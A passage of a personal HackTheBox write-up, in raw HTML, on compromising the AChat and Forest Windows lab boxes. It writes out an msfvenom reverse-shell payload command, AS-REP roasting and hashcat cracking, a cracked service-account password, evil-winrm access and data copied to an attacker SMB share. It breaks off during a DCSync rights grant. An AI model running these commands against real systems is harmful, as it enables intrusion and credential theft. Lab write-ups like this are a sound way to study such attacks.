loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0074.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0075.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The usual smb connection didn&amp;rsquo;t work, but nmap reported information about two services on ports 9255 and 9256.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0076.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I Googled them to find out what these services were.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0077.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, I found an exploit for them.&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, the exploit on Kali just wouldn&amp;rsquo;t work no matter how many times I tried it. Maybe there was something wrong with how it generated the payload.&lt;/p&gt;&#10;&lt;p&gt;Luckily, I found a project on GitHub:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/mpgn/AChat-Reverse-TCP-Exploit" target="_blank" rel="noopener"&#10; &gt;https://github.com/mpgn/AChat-Reverse-TCP-Exploit&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This exploit had a bit of a problem too: it gave me an msf shell, so I still needed to modify it. The Kali exploit above actually showed how to generate the payload, but whenever I tried adding LHOST and LPORT, it either threw an error or failed. I just needed to tweak the payload from this GitHub project instead.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;msfvenom -a x86 &amp;ndash;platform Windows -p windows/shell_reverse_tcp RHOST=10.10.10.74 LHOST=10.10.16.3 LPORT=6666 exitfunc=thread -e x86/unicode_mixed -b &amp;lsquo;\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff&amp;rsquo; BufferRegister=EAX -f python&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;That did the trick. I only had to replace buf in the exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0078.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;shell&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0079.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Time to start privilege escalation. After running systeminfo, it looked like Rotten Potato might still be an option.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0080.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0081.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It wasn&amp;rsquo;t enabled.&lt;/p&gt;&#10;&lt;p&gt;However, we could still enter the administrator directory and find the root.txt file.&lt;/p&gt;&#10;&lt;p&gt;Trying to access it returned a permissions error, but dir /q showed that the file belonged to the current user. All we had to do was grant it read access.&lt;/p&gt;&#10;&lt;p&gt;This post was a useful reference: &lt;a class="link" href="https://blog.csdn.net/senge_com/article/details/134508668" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/senge_com/article/details/134508668&lt;/a&gt;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;cacls root.txt /p everyone:f /e /t&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0082.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. I still hadn&amp;rsquo;t actually escalated to administrator, though.&lt;/p&gt;&#10;&lt;p&gt;Time to start reading writeups—all of them, really, since Windows privilege escalation is one of my weaker areas.&lt;/p&gt;&#10;&lt;p&gt;This seems to be the route everyone took. I still haven&amp;rsquo;t found a Windows enumeration script like linenum on Linux. Maybe everything has to be done manually?&lt;/p&gt;&#10;&lt;h2 id="7forest"&gt;&lt;a href="#7forest" class="header-anchor"&gt;&lt;/a&gt;7.Forest&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0083.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0084.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s go through them one by one.&lt;/p&gt;&#10;&lt;p&gt;domain dns&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0085.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No shares by default.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0086.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Looking more closely, I realized this was actually a domain controller.&lt;/p&gt;&#10;&lt;p&gt;======================================================&lt;/p&gt;&#10;&lt;p&gt;Skipping ahead five days.&lt;/p&gt;&#10;&lt;p&gt;======================================================&lt;/p&gt;&#10;&lt;p&gt;I spent five days cramming domain penetration testing. I learned and reproduced all the basic logic and common vulnerabilities, and documented them in another article.&lt;/p&gt;&#10;&lt;p&gt;A few days earlier, back when I didn&amp;rsquo;t know much about domains, I read a write-up that put it like this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0087.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This goes beyond the scope of the OSCP exam. If someone can complete this box without help, the Active Directory portion of OSCP should be no problem for them. The author also mentioned that this box is intended for practice, so I&amp;rsquo;ll work through it using my own ideas and consult a write-up whenever I get stuck.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;Starting here: I&amp;rsquo;d already checked the domain controller&amp;rsquo;s DNS and SMB, but didn&amp;rsquo;t find much because my information gathering wasn&amp;rsquo;t thorough enough. Since I now knew the target was a domain controller, the first thing to get was its hostname. By default, that gives you the domain controller&amp;rsquo;s computer account name. Then there was the domain name. I hadn&amp;rsquo;t obtained either of those before.&lt;/p&gt;&#10;&lt;p&gt;Like this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0088.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Starting with LDAP.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;These are two enumeration methods; check the required parameters&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -n -sV --script &amp;#34;ldap* and not brute&amp;#34; -p 389 &amp;lt;dc-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -h &amp;lt;ip&amp;gt; -s base&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -n -sV -sU --script &amp;#34;ldap* and not brute&amp;#34; -p 389 10.10.10.161&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0089.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0090.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -H ldap://10.10.10.161:389 -s base&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0091.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -H ldap://10.10.10.161:389 -b dc=test,dc=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0092.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/cn/network-services-pentesting/pentesting-ldap" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/cn/network-services-pentesting/pentesting-ldap&lt;/a&gt; mentioned a method for extracting information anonymously.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0093.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -H ldap://10.10.10.161:389 -x -b dc=htb,dc=local &amp;#34;(objectClass=person)&amp;#34; &amp;#34;*&amp;#34; +&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;a class="link" href="https://stackoverflow.com/questions/508014/active-directory-ldap-query-by-samaccountname-and-domain" target="_blank" rel="noopener"&#10; &gt;https://stackoverflow.com/questions/508014/active-directory-ldap-query-by-samaccountname-and-domain&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;That page mentioned some other parameters. After looking into it, I realized this was just a filter. The previous request returned a lot of information, so I needed a filter to narrow it down.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -H ldap://10.10.10.161:389 -x -b dc=htb,dc=local &amp;#34;(objectCategory=person)&amp;#34; | grep sAMAccountName&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That filtered out the exact names.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0094.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There are several other ways to find usernames.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0095.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0096.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;A service account I hadn&amp;rsquo;t seen before.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0097.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetNPUsers.py htb.local/svc-alfresco -format hashcat -outputfile foresthash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetNPUsers.py htb.local/ -usersfile user1.txt -format hashcat -outputfile foresthash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0098.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Got the TGT. Let&amp;rsquo;s try cracking the password first.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0099.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 18200 1.txt /usr/share/wordlists/rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0100.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc-alfresco:s3rvice&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That step was done, but I had no idea how to get a shell from there. In my previous exploits, I could basically only get in as administrator or after privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;So I tried the options one by one, based on what I&amp;rsquo;d learned before.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0101.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The output suggested it might work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0102.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But it froze when I left the result empty.&lt;/p&gt;&#10;&lt;p&gt;This is where I learned a new trick.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0103.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s try them one by one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec winrm 10.10.10.161 -u svc-alfresco -p s3rvice&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0104.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It connected successfully.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0105.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got in. It was a little laggy, so I did some information gathering.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0106.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Nothing I found seemed particularly important. I&amp;rsquo;d already gathered a lot from outside the domain.&lt;/p&gt;&#10;&lt;p&gt;From a write-up, I learned that I needed to use Bloodhound to look for an exploitable path. I&amp;rsquo;d already installed it while learning domain penetration testing. If you need to install it, there are plenty of guides online.&lt;/p&gt;&#10;&lt;p&gt;Before using it, I started it up directly.&lt;/p&gt;&#10;&lt;p&gt;I found a Windows information-gathering tool similar to LinEnum.sh on Linux.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/peass-ng/PEASS-ng/releases/tag/20241101-6f46e855" target="_blank" rel="noopener"&#10; &gt;https://github.com/peass-ng/PEASS-ng/releases/tag/20241101-6f46e855&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I uploaded it, but it didn&amp;rsquo;t turn up anything.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0107.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Next, I started using bloodhound.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/" target="_blank" rel="noopener"&#10; &gt;https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;There are powershell and exe versions. I chose the exe version and uploaded it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0108.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0109.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I used certutil to transfer files into windows. For transferring files back out, I learned a new method here.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python D:\python3.9\Scripts\smbserver.py win10 . -smb2support&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy .\20241124052634_BloodHound.zip \\10.10.16.6\win10\smbserver&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0110.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0111.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Drag the file into the program and it will load automatically.&lt;/p&gt;&#10;&lt;p&gt;Search for SVC-ALFRESCO in the upper-left corner, and a pop-up will appear.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0112.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Open it and mark this user as owned.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0113.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Go back to the upper-left corner of the screen, and under the query tab select Analysis &amp;ndash;&amp;gt;shortest path from Owned Principals.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0114.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The query returned this. All I could make out was that our current user belonged to these three groups, so I searched them on google.&lt;/p&gt;&#10;&lt;p&gt;service account group&lt;/p&gt;&#10;&lt;p&gt;privileged account group&lt;/p&gt;&#10;&lt;p&gt;And then this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0115.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were also several blog posts below explaining how to exploit it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0116.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That was when I realized I&amp;rsquo;d missed part of my studies. I&amp;rsquo;d finished constrained and unconstrained delegation, but hadn&amp;rsquo;t covered resource-based constrained delegation. This box was perfect for filling that gap, so I followed the tutorial, using &lt;a class="link" href="https://cloud.tencent.com/developer/article/1937695" target="_blank" rel="noopener"&#10; &gt;https://cloud.tencent.com/developer/article/1937695&lt;/a&gt; as a reference.&lt;/p&gt;&#10;&lt;p&gt;There is an exchange server in the domain. Here, choose:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0117.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net group &amp;#34;Exchange Trusted Subsystem&amp;#34; svc-alfresco /add /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module .\PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-DomainObjectAcl -TargetIdentity &amp;#39;DC=htb,DC=local&amp;#39; -PrincipalIde svc-alfresco -Rights DCSync 